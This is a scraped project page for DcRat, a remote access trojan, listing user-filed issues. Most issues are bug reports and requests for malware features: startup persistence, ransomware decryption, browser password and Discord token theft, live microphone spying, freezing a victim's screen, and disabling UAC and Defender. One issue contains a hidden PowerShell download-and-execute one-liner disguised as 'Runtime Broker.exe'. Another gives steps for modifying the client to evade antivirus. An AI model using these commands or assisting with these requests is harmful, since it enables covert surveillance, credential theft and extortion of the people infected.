Git Product home page Git Product logo

dcrat's Introduction

Buy Me A Coffee


👨‍💻 About Me :

qwqdanchun,a redteam developer


🛠  Languages and Tools :

csharp  c  cplusplus  java  python  JavaScript  go 


🔥   My Stats :

GitHub Streak

Top Langs

dcrat's People

Contributors

baiyies avatar pathetic avatar qwqdanchun avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

dcrat's Issues

Does this go to startup folder?

When a client shutsdown his computer i lose the client. Even when he turns the computer back on i don't see him anymore. Is this a bug or is it just not added?

Powershell comander

Powershell commands are not working why?
some powershell commands not working cmd commands operators working

Fix chat form

Victim cannot send message because "send" button isnt showing

Plugin Password erro

Describe the bug
A clear and concise description of what the bug is.

To Reproduce
Steps to reproduce the behavior:

  1. Go to '...'
  2. Click on '....'
  3. Scroll down to '....'
  4. See error

Expected behavior
A clear and concise description of what you expected to happen.

Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

  • OS: [e.g. iOS]
  • Browser [e.g. chrome, safari]
  • Version [e.g. 22]

Smartphone (please complete the following information):

  • Device: [e.g. iPhone6]
  • OS: [e.g. iOS8.1]
  • Browser [e.g. stock browser, safari]
  • Version [e.g. 22]

Additional context
Add any other context about the problem here.

Install on startup fails to execute when run as admin

Describe the bug
Install on startup fails to execute when run as admin with powershell

To Reproduce
Steps to reproduce the behavior:

  1. run powershell as administrator
  2. add a command to download and execute, the command below for example:
    powershell.exe -windowstyle hidden -Command (new-object System.Net.WebClient).DownloadFile('URL',$env:TEMP+'/Runtime Broker.exe');(New-Object -com Shell.Application).ShellExecute($env:TEMP+'/Runtime Broker.exe')

Expected behavior
install on startup to work

Remote ScreenShare

Hi is it possible for you to implement super fast screenshare with very high FPS? over 15+? like real team view??

Ransomware

I testet this rat on a VM. I wanted to test the ransomware feature. The encrypting works Perfectly but the decrypting does not work. After I've Encrypted the Files I pressed on Decrypt on the rat panel. It said Password so i put in a password but when i tried to do put the password in the decrypter it said "Wrong Password"

pls tell me how tis works :)

DNS or Pastbin connection issue

I first tried on localhost. everything was fine.
but as i put a dns or straight ip in the connection(builder) it does not connect.
Please help

folder download

Folder download is not possible

Only one file is downloaded

Suggested download function of all files in selected folder

Add skills

1.- Add microphone recording

2.- Modify the camera option, so that the flash light does not turn on while it is active by dcrat.

startup

is there a way to put the rat on startup for all users without admin?

is this application safe ?

hello im using this for my it service and i didnt feel safe, some of developers have backdoors of codes lots of "open source" project is unfortuanely scam how did i believe you ? some of resources compiled could you share all of them source ? where did you take ? source page etc ... please dont say sniffing reverse engineering if i have a time for the doing that, i will rather to do modify my async/quasar.

通过内网转发上线的机器不显示真实IP

我通过内网转发工具(FRP),把内网的8848端口映射到外网了,然后通过get ip by link或者外网ip上线,上线后的机器ip显示本地127.0.0.1:8848,不显示真实外网ip
image

还有想问下那个生成exe时候的sleep功能,只是上线前sleep么还是使用所有功能前都会sleep

Not Sending ME INFO

when some one opens my rat it wont give me any stuff on my screen like that its connected but when i open it.. it says im connected
so i can only rat myself can u help me? i have discord if u want

dark mode ui

ui

White in dark windows is eye strain

It would be nice if there was a background color mode other than white

Dark mode is good Ui lol

##################################

ui2

top bar, ip port, country, time, logs

Some white and mouse menu background colors have also been modified

Nice repo.

Just want to thanks for this great open source rat, waiting for more, maybe fun plugins in malware section?

The encryption thing is very nice. :)

Keep it up, nice work

Suggestions

in the auto tasks make an option on how they get triggered.
Like if they get triggered on connect or if the user does something.
Add more auto tasks so like it will automatically bypass UAC and disable WD on connect.
Add upnp for the noobs out there.
process persistence would be nice
The ransomware doesnt work on my vm so maybe fix that.
You could make the chat look a bit better.
Add troll features and such.

[Feature request] Expand password recovery support to other browsers

Is your feature request related to a problem? Please describe.
I would really love if the password recovery is expanded to support more browsers, and maybe even grab other things such as tokens, or other authentication files

Describe the solution you'd like
I would like to see more browsers based on chromium i.e brave, opera, etc, and possibly the ability to grab things such as discord tokens, telegram session files, and such

connection problem

Hello, dc-rat connection arrives in 30 minutes or 1 hour, sometimes it takes longer

Freeze Computer

a keep having a problem where the victims moves there mouse. I have a few trojans that freeze there computer but still could u make it like freeze there computer on there side so u can snoop around?

DcRat latest build (non-release) | Password recovery fails to grab passwords

Describe the bug
A clear and concise description of what the bug is.
Password recovery fails on client

To Reproduce
Steps to reproduce the behavior:
Allow yourself to connect. Try to recover passwords
Elevate to admin, try to recover

Expected behavior
Passwords should be recovered

Screenshots
image

Desktop (please complete the following information):
OS: WIndows 10
Program Version: Latest build (not release)

rat not connecting from albania vpn

Describe the bug
Rat not connecting from albania vpn

To Reproduce
Steps to reproduce the behavior:
I just use a vpn, connect to albania and then open the client, and the rat is not connecting to the server (it's open in task manager and also sends a syn) but it's not connecting.
if i change vpn to another country then it connects just fine.

tried many other different countries and they seem to connect just fine

Auto Task

Please add in the Auto Task section Auto Remote Screen and Auto Remote Camera and record

Microphone

*kindly change microphone listening without time limit not recording live lstening like other rats thx

Feature Request

Hello,
Would it be possible for you to add a feature to run a file in memory, just like in async rat.
Also could you please provide documentation for each feature, this would help a lot.
Thanks

bypass a few av

  1. open dnspy drag ur rat into dnspy
  2. find client.install and click on it
  3. click on normal startup and edit class
  4. remove the install void codes
    Knipsel
    it should look like this ^
    then click on file > save module and done! obfuscate it with a strong obfuscator and your rat will bypass a few antiviruses!

Question about Get-ip site

How does this feature work?

She gets the site's ip and tries to connect to it.
or
She gets the ip from the site, tries to connect and then gets the ip from the site again and tries to connect.

P.S.
How do you like the idea of adding a backup ip / site address?
How do you like the idea of adding a watchdog?

Keylogger offline ?

DcRat have the hability the keylogger offline ?

Password Recovery Not Found, Include Porject "HackBrowserData" in DcRat?

change translate "Procrss Manager" to "Process Manager"

Client Disconnect option

case "close":
Methods.ClientExit();
Environment.Exit(0); -> Process Exit

  1. Execute payload from memory
  2. When you exit the program, the process is terminated
  3. If normal process is terminated, anti virus detection or The target process is suspect

This is a suggestion from now on

System Control -> Client Control -> TCP Connect ALL Close Menu Function

I want to initialize only the network disconnect, mutex termination, and object in memory.

The process must not be terminated (since it was executed from memory)

No need to kill the process if running in memory

This leads to better persistence and concealment

师傅您好,生成的client.exe的一些问题

师傅您好,我在使用公网vps时,回连地址为127.0.0.1时,在本机上是可以上线,但是使用我vps的公网地址在本机跟其他机器运行时无法上线,不知道是什么问题

Awesome Project

I Really love this project....Thnks For Creating this awesome project

Hello!

I mail you just now) check your mail plz

I asked a donut a month ago

Will the problem be solved?

localhost 192.168.0.1~255 vmware connection is fine

If you connect with an external IP, you cannot connect.
(59.12.151.12 39.128.121.11)

Analyzing the source a little more,

Need more HWID and specific user ID?

remotedesktop.dll does not connect to the new port,

but In the case of file search, a new port connection is possible

The fileless technique is good

If this is resolved, there is also a willingness to donate

I don't know how to fix

If the issue is unrelated to the topic or cannot be fixed, please close the issue

Thank you

解密密码?

远程加密后,解密需要密码!我好像没发现密码在什么地方设置

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.